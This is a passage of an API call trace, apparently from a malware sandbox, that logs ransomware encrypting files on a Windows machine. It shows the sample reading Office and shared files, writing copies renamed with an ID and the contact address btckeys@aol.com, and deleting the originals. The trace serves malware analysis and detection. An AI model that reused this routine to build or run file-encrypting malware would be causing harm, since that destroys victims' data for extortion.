(hFile=0x1ac) returned 1 [0066.719] CloseHandle (hObject=0x1ac) returned 1 [0066.722] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0066.722] SetEndOfFile (hFile=0x1b8) returned 1 [0066.723] CloseHandle (hObject=0x1b8) returned 1 [0066.723] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x2020) returned 1 [0066.778] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0066.779] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0066.779] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0066.779] lstrlenW (lpString=".doc") returned 4 [0066.779] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0066.779] lstrlenW (lpString=".docx") returned 5 [0066.779] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0066.779] lstrlenW (lpString=".pdf") returned 4 [0066.779] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0066.779] lstrlenW (lpString=".xls") returned 4 [0066.779] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0066.779] lstrlenW (lpString=".xlsx") returned 5 [0066.779] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0066.779] lstrlenW (lpString=".ppt") returned 4 [0066.779] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0066.779] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0066.779] lstrlenW (lpString=".zip") returned 4 [0066.779] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0066.780] lstrlenW (lpString=".rar") returned 4 [0066.780] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0066.780] lstrlenW (lpString=".bz2") returned 4 [0066.780] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0066.780] lstrlenW (lpString=".7z") returned 3 [0066.780] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0066.780] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0066.780] lstrlenW (lpString=".dbf") returned 4 [0066.780] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0066.780] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0066.780] lstrlenW (lpString=".1cd") returned 4 [0066.780] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0066.780] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0066.780] lstrlenW (lpString=".jpg") returned 4 [0066.780] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0066.780] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0066.780] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0066.780] lstrlenW (lpString=".doc") returned 4 [0066.780] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0066.780] lstrlenW (lpString=".docx") returned 5 [0066.780] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0066.780] lstrlenW (lpString=".pdf") returned 4 [0066.780] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0066.780] lstrlenW (lpString=".xls") returned 4 [0066.780] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0066.780] lstrlenW (lpString=".xlsx") returned 5 [0066.780] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0066.781] lstrlenW (lpString=".ppt") returned 4 [0066.781] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0066.781] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0066.781] lstrlenW (lpString=".zip") returned 4 [0066.781] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0066.781] lstrlenW (lpString=".rar") returned 4 [0066.781] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0066.781] lstrlenW (lpString=".bz2") returned 4 [0066.781] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0066.781] lstrlenW (lpString=".7z") returned 3 [0066.781] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0066.781] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0066.781] lstrlenW (lpString=".dbf") returned 4 [0066.781] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0066.781] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0066.781] lstrlenW (lpString=".1cd") returned 4 [0066.781] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0066.781] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0066.781] lstrlenW (lpString=".jpg") returned 4 [0066.781] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0066.781] lstrcmpiW (lpString1=".xml", lpString2=".2020") returned 1 [0066.781] lstrlenW (lpString="VisiorWW.xml") returned 12 [0066.781] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0066.807] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=8723) returned 1 [0066.807] CloseHandle (hObject=0x170) returned 1 [0066.807] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.xml")) returned 0x2020 [0066.807] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.xml.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0066.807] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0066.808] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0066.808] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0066.808] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.xml.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0066.808] GetLastError () returned 0x0 [0066.808] ReadFile (in: hFile=0x170, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x2213, lpOverlapped=0x0) returned 1 [0066.838] WriteFile (in: hFile=0x1ac, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0x2220, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0x2220, lpOverlapped=0x0) returned 1 [0066.839] ReadFile (in: hFile=0x170, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x0, lpOverlapped=0x0) returned 1 [0066.839] WriteFile (in: hFile=0x1ac, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0xec, lpOverlapped=0x0) returned 1 [0066.839] SetEndOfFile (hFile=0x1ac) returned 1 [0066.839] CloseHandle (hObject=0x1ac) returned 1 [0066.840] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0066.840] SetEndOfFile (hFile=0x170) returned 1 [0066.841] CloseHandle (hObject=0x170) returned 1 [0066.841] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x2020) returned 1 [0066.841] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.xml")) returned 1 [0066.842] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0066.842] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0066.842] lstrlenW (lpString=".doc") returned 4 [0066.842] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0066.842] lstrlenW (lpString=".docx") returned 5 [0066.842] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0066.842] lstrlenW (lpString=".pdf") returned 4 [0066.842] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0066.842] lstrlenW (lpString=".xls") returned 4 [0066.846] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0066.846] lstrlenW (lpString=".xlsx") returned 5 [0066.846] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0066.846] lstrlenW (lpString=".ppt") returned 4 [0066.846] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0066.846] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0066.846] lstrlenW (lpString=".zip") returned 4 [0066.846] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0066.846] lstrlenW (lpString=".rar") returned 4 [0066.846] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0066.847] lstrlenW (lpString=".bz2") returned 4 [0066.847] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0066.847] lstrlenW (lpString=".7z") returned 3 [0066.847] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0066.847] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0066.847] lstrlenW (lpString=".dbf") returned 4 [0066.847] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0066.847] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0066.847] lstrlenW (lpString=".1cd") returned 4 [0066.847] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0066.847] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0066.847] lstrlenW (lpString=".jpg") returned 4 [0066.847] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0066.847] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0066.847] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0066.847] lstrlenW (lpString=".doc") returned 4 [0066.847] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0066.847] lstrlenW (lpString=".docx") returned 5 [0066.847] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0066.847] lstrlenW (lpString=".pdf") returned 4 [0066.847] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0066.847] lstrlenW (lpString=".xls") returned 4 [0066.847] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0066.847] lstrlenW (lpString=".xlsx") returned 5 [0066.848] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0066.848] lstrlenW (lpString=".ppt") returned 4 [0066.848] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0066.848] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0066.848] lstrlenW (lpString=".zip") returned 4 [0066.848] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0066.848] lstrlenW (lpString=".rar") returned 4 [0066.848] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0066.848] lstrlenW (lpString=".bz2") returned 4 [0066.848] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0066.848] lstrlenW (lpString=".7z") returned 3 [0066.848] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0066.848] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0066.848] lstrlenW (lpString=".dbf") returned 4 [0066.848] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0066.848] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0066.848] lstrlenW (lpString=".1cd") returned 4 [0066.848] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0066.848] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0066.848] lstrlenW (lpString=".jpg") returned 4 [0066.848] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0066.848] lstrcmpiW (lpString1=".xml", lpString2=".2020") returned 1 [0066.848] lstrlenW (lpString="Alphabet.xml") returned 12 [0066.849] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0066.859] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=791686) returned 1 [0066.859] CloseHandle (hObject=0x188) returned 1 [0066.859] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml")) returned 0x20 [0066.859] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0066.859] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.860] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0066.860] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0066.860] lstrlenW (lpString=".doc") returned 4 [0066.860] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0066.860] lstrlenW (lpString=".docx") returned 5 [0066.860] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0066.860] lstrlenW (lpString=".pdf") returned 4 [0066.860] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0066.860] lstrlenW (lpString=".xls") returned 4 [0066.860] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0066.860] lstrlenW (lpString=".xlsx") returned 5 [0066.860] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0066.860] lstrlenW (lpString=".ppt") returned 4 [0066.860] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0066.860] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0066.860] lstrlenW (lpString=".zip") returned 4 [0066.860] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0066.860] lstrlenW (lpString=".rar") returned 4 [0066.860] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0066.860] lstrlenW (lpString=".bz2") returned 4 [0066.860] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0066.860] lstrlenW (lpString=".7z") returned 3 [0066.860] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0066.860] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0066.860] lstrlenW (lpString=".dbf") returned 4 [0066.860] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0066.861] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0066.861] lstrlenW (lpString=".1cd") returned 4 [0066.861] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0066.861] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0066.861] lstrlenW (lpString=".jpg") returned 4 [0066.861] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0066.861] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0066.861] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0066.861] lstrlenW (lpString=".doc") returned 4 [0066.861] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0066.861] lstrlenW (lpString=".docx") returned 5 [0066.861] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0066.861] lstrlenW (lpString=".pdf") returned 4 [0066.861] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0066.861] lstrlenW (lpString=".xls") returned 4 [0066.861] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0066.861] lstrlenW (lpString=".xlsx") returned 5 [0066.861] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0066.861] lstrlenW (lpString=".ppt") returned 4 [0066.861] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0066.861] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0066.861] lstrlenW (lpString=".zip") returned 4 [0066.861] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0066.861] lstrlenW (lpString=".rar") returned 4 [0066.861] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0066.862] lstrlenW (lpString=".bz2") returned 4 [0066.862] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0066.862] lstrlenW (lpString=".7z") returned 3 [0066.862] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0066.862] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0066.862] lstrlenW (lpString=".dbf") returned 4 [0066.862] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0066.862] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0066.862] lstrlenW (lpString=".1cd") returned 4 [0066.862] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0066.862] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0066.862] lstrlenW (lpString=".jpg") returned 4 [0066.862] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0066.862] lstrcmpiW (lpString1=".avi", lpString2=".2020") returned 1 [0066.862] lstrlenW (lpString="boxed-correct.avi") returned 17 [0066.862] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0066.863] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=89600) returned 1 [0066.863] CloseHandle (hObject=0x188) returned 1 [0066.864] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi")) returned 0x20 [0066.864] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0066.864] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.864] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0066.864] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0066.864] lstrlenW (lpString=".doc") returned 4 [0066.864] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0066.864] lstrlenW (lpString=".docx") returned 5 [0066.864] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0066.864] lstrlenW (lpString=".pdf") returned 4 [0066.864] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0066.864] lstrlenW (lpString=".xls") returned 4 [0066.864] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0066.864] lstrlenW (lpString=".xlsx") returned 5 [0066.864] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0066.864] lstrlenW (lpString=".ppt") returned 4 [0066.864] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0066.864] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0066.864] lstrlenW (lpString=".zip") returned 4 [0066.864] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0066.864] lstrlenW (lpString=".rar") returned 4 [0066.865] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0066.865] lstrlenW (lpString=".bz2") returned 4 [0066.865] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0066.865] lstrlenW (lpString=".7z") returned 3 [0066.865] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0066.865] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0066.865] lstrlenW (lpString=".dbf") returned 4 [0066.865] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0066.865] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0066.865] lstrlenW (lpString=".1cd") returned 4 [0066.865] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0066.865] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0066.865] lstrlenW (lpString=".jpg") returned 4 [0066.865] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0066.865] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0066.865] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0066.865] lstrlenW (lpString=".doc") returned 4 [0066.865] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0066.865] lstrlenW (lpString=".docx") returned 5 [0066.865] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0066.865] lstrlenW (lpString=".pdf") returned 4 [0066.865] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0066.865] lstrlenW (lpString=".xls") returned 4 [0066.865] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0066.865] lstrlenW (lpString=".xlsx") returned 5 [0066.866] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0066.866] lstrlenW (lpString=".ppt") returned 4 [0066.866] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0066.866] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0066.866] lstrlenW (lpString=".zip") returned 4 [0066.866] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0066.866] lstrlenW (lpString=".rar") returned 4 [0066.866] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0066.866] lstrlenW (lpString=".bz2") returned 4 [0066.866] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0066.866] lstrlenW (lpString=".7z") returned 3 [0066.866] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0066.866] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0066.866] lstrlenW (lpString=".dbf") returned 4 [0066.866] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0066.866] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0066.866] lstrlenW (lpString=".1cd") returned 4 [0066.866] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0066.866] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0066.866] lstrlenW (lpString=".jpg") returned 4 [0066.866] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0066.866] lstrcmpiW (lpString1=".avi", lpString2=".2020") returned 1 [0066.867] lstrlenW (lpString="boxed-delete.avi") returned 16 [0066.867] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0066.868] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=31744) returned 1 [0066.868] CloseHandle (hObject=0x188) returned 1 